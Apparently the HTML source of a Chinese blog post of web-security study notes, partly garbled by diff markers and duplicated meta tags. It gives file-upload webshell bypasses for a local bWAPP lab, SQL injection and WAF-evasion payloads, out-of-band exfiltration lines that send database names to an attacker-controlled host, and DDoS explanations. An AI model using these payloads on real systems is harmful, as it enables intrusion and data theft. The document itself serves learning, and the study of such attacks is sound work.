echo hallo > hallo."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/145/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-13T13:50:00+00:00"><meta property="article:modified_time" content="2022-04-13T13:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web安全学习笔记"><meta name=twitter:description content="常见web工具：
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/145/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-13T13:50:00+00:00"><meta property="article:modified_time" content="2022-04-13T13:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web安全学习笔记"><meta name=twitter:description content="常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -101,11 +101,11 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
echo hallo > hallo."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"web安全学习笔记","item":"https://xiaochenabc123.github.io/posts/145/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"web安全学习笔记","name":"web安全学习笔记","description":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt\recho hallo \u0026gt; hallo.","keywords":["web安全"],"articleBody":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d ’test=echo getcwd();’ http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u003e hallo.txt:a.txt\recho hallo \u003e hallo.txt\recho 666 \u003e hallo.txt::$data\r第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中\n第三个例子中，666写入到了hallo.txt默认文件流中\n针对于白名单进行绕过\n截断绕过（环境要求：php\u003e5.3.42，magic_quotes_gpc关闭）\n搭配burpsuite来拦截http请求\n上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg\n$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束\n因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php\nSQL注入\nSQL注入漏洞是用户应用层与数据库层的安全漏洞\n发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发\n过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端\nGET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据\nGET型SQL注入漏洞\n方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据\nUNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() –\n查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的–是sql注释，也可以使用#来注释掉后面的sql命令\n当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找\nUNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=‘user’ –\n通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户\nUNION SELECT 1,password,login,4,5 FROM user –\n通过上面的命令查找user表的password和login字段\n注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞\nPOST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）\n判断SQL注入点\n能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入\n单引号判断法\nhttps://webtest.xiaochenabc123.test.com?id=1'\n如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错\n判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）\n整型\nSELECT * FROM test where id = and 1=1\n字符串型\nSELECT * FROM test where id = ‘1’ and ‘1’=‘1’\n百分号判断法\n针对于使用了LIKE关键字的\nhttps://webtest.xiaochenabc123.test.com?id=1$' and ‘1’=‘1’ –\n简单的SQL注入防御方法：\n减低错误信息的提供\n使用mysql_escape_string($id)转义，将’转义\n过滤and，or，union，select等等关键词（黑名单）\nSQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入\n布尔型注入\nhttps://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5–\n布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求\n联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）\n基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）\nhttps://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)–\nslepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行\n报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）\n多语句查询型注入（当页面可以执行多条SQL语句时）\n例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1–\n多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发\nHTTP头注入\n利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）\n通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击\nUser-Agent: abc’, (SELECT database()) –\n堆叠注入（多条sql命令一起执行）\n使用;结束当前sql命令后继续执行下一条sql命令\n联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令\n一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷\nOOB注入（out of band，带外通道技术）\n通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(’\\\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’);\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(’\\\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’));\n最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名\n利用HTTP协议来OOB注入\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php ‘||’?id=’||(SELECT database())) FROM dual;\n上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中\n混淆和绕过\n一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段\n过滤词绕过\nOR可使用||绕过，AND可使用\u0026\u0026绕过\nunion被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ ||(SELECT user FROM usermain limit 1,1) = ‘root’\nlimit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SELECT min(user),id FROM usermain GROUP BY user HAVING user=‘root’\nGROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)\nSELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1’ || SUBSTR(user,1,1=0x72)\n空格被过滤，可通过/**/来替代空格来分开sql语句\n等号被过滤，可通过like关键字绕过\n双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、\n双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的\n编码注入（url编码）：%27表示’，%23表示#，%df表示无意义，%5c表示\\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23\n二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin’#\n提权\nLinux的特殊权限\nSUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失\n例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）\n注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws–x–x）\nSGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx–s–x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效\n该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限\n注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能\nSBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除\n该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限\nDDOS攻击（分布式拒绝服务攻击）\n原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等\nUDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名\nDNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的\nICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽\n攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping\n内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满\n放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果\nSYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性\nSYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的\nACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似\nHTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求\nSlowloris攻击：利用HTTP Request的特性，通过\\r\\n\\r\\n来表示HTTP请求发送已完成，当\\r\\n\\r\\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的\n防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单\nHTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源\n","wordCount":"313","inLanguage":"en","datePublished":"2022-04-13T13:50:00Z","dateModified":"2022-04-13T13:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/145/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>web安全学习笔记</h1><div class=post-meta><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>常见web工具：</p><p>burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应</p><p>curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等</p><p>postmain</p><p>hackbar quantum</p><p>wappalyzer</p><p>文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等</p><p>文件上传漏洞关键点在于绕过</p><p>由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）</p><p>这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）</p><p>docker pull raesene/bwapp</p><p>docker run -d -p 0.0.0.0:80:80 raesene/bwapp</p><p>访问127.0.0.1/install.php</p><p>点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes</p><p>创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php</p><p>点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录</p><p>简单接触文件上传漏洞</p><p>chose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）</p><p>上传一句话木马，创建shell.php文件，添加</p><p>通过curl触发，执行curl -d &rsquo;test=echo getcwd();&rsquo; http://127.0.0.1/images/shell.php</p><p>可以看到成功触发shell.php，并且服务器返回了当前执行的目录</p><p>后缀名绕过</p><p>安全级别选择medium（set your security level）</p><p>常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）</p><p>这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块</p><p>.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时</p><p>上传.htaccess文件，内容为：AddType application/x-httpd-php jpg</p><p>上传木马，shell.jpg</p><p>AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析</p><p>大小写绕过</p><p>大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的</p><p>Windows文件流绕过</p><p>利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流</p><p>例如：</p><pre><code>echo hallo,word &gt; hallo.txt:a.txt
-echo hallo &gt; hallo.txt
-echo 666 &gt; hallo.txt::$data
-</code></pre><p>第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中</p><p>第三个例子中，666写入到了hallo.txt默认文件流中</p><p>针对于白名单进行绕过</p><p>截断绕过（环境要求：php>5.3.42，magic_quotes_gpc关闭）</p><p>搭配burpsuite来拦截http请求</p><p>上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg</p><p>$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束</p><p>因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php</p><hr><p>SQL注入</p><p>SQL注入漏洞是用户应用层与数据库层的安全漏洞</p><p>发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发</p><p>过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端</p><p>GET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据</p><p>GET型SQL注入漏洞</p><p>方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据</p><p>UNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() &ndash;</p><p>查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的&ndash;是sql注释，也可以使用#来注释掉后面的sql命令</p><p>当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找</p><p>UNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=&lsquo;user&rsquo; &ndash;</p><p>通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户</p><p>UNION SELECT 1,password,login,4,5 FROM user &ndash;</p><p>通过上面的命令查找user表的password和login字段</p><p>注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞</p><p>POST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）</p><p>判断SQL注入点</p><p>能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入</p><p>单引号判断法</p><p><a href="https://webtest.xiaochenabc123.test.com?id=1'">https://webtest.xiaochenabc123.test.com?id=1'</a></p><p>如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错</p><p>判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）</p><p>整型</p><p>SELECT * FROM test where id = and 1=1</p><p>字符串型</p><p>SELECT * FROM test where id = &lsquo;1&rsquo; and &lsquo;1&rsquo;=&lsquo;1&rsquo;</p><p>百分号判断法</p><p>针对于使用了LIKE关键字的</p><p><a href="https://webtest.xiaochenabc123.test.com?id=1$'">https://webtest.xiaochenabc123.test.com?id=1$'</a> and &lsquo;1&rsquo;=&lsquo;1&rsquo; &ndash;</p><p>简单的SQL注入防御方法：</p><p>减低错误信息的提供</p><p>使用mysql_escape_string($id)转义，将&rsquo;转义</p><p>过滤and，or，union，select等等关键词（黑名单）</p><p>SQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入</p><p>布尔型注入</p><p><a href="https://webtest.xiaochenabc123.test.com/?id=1'">https://webtest.xiaochenabc123.test.com/?id=1'</a> and substring(version) = 5&ndash;</p><p>布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求</p><p>联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）</p><p>基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）</p><p><a href="https://webtest.xiaochenabc123.test.com/?id=1'">https://webtest.xiaochenabc123.test.com/?id=1'</a> and slepp(5)&ndash;</p><p>slepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行</p><p>报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）</p><p>多语句查询型注入（当页面可以执行多条SQL语句时）</p><p>例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1&ndash;</p><p>多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发</p><p>HTTP头注入</p><p>利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）</p><p>通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击</p><p>User-Agent: abc&rsquo;, (SELECT database()) &ndash;</p><p>堆叠注入（多条sql命令一起执行）</p><p>使用;结束当前sql命令后继续执行下一条sql命令</p><p>联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令</p><p>一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷</p><p>OOB注入（out of band，带外通道技术）</p><p>通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT CONCAT(&rsquo;\\&rsquo;,(SELECT database(),&rsquo;.test2.xiaochenabc123.test.com&rsquo;);</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT LOAD_FILE(CONCAT(&rsquo;\\&rsquo;,(SELECT database(),&rsquo;.test2.xiaochenabc123.test.com&rsquo;));</p><p>最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名</p><p>利用HTTP协议来OOB注入</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT UTL_HTTP.REQUEST(<a href=https://test2.xiaochenabc123.test.com/test.php>https://test2.xiaochenabc123.test.com/test.php</a> &lsquo;||&rsquo;?id=&rsquo;||(SELECT database())) FROM 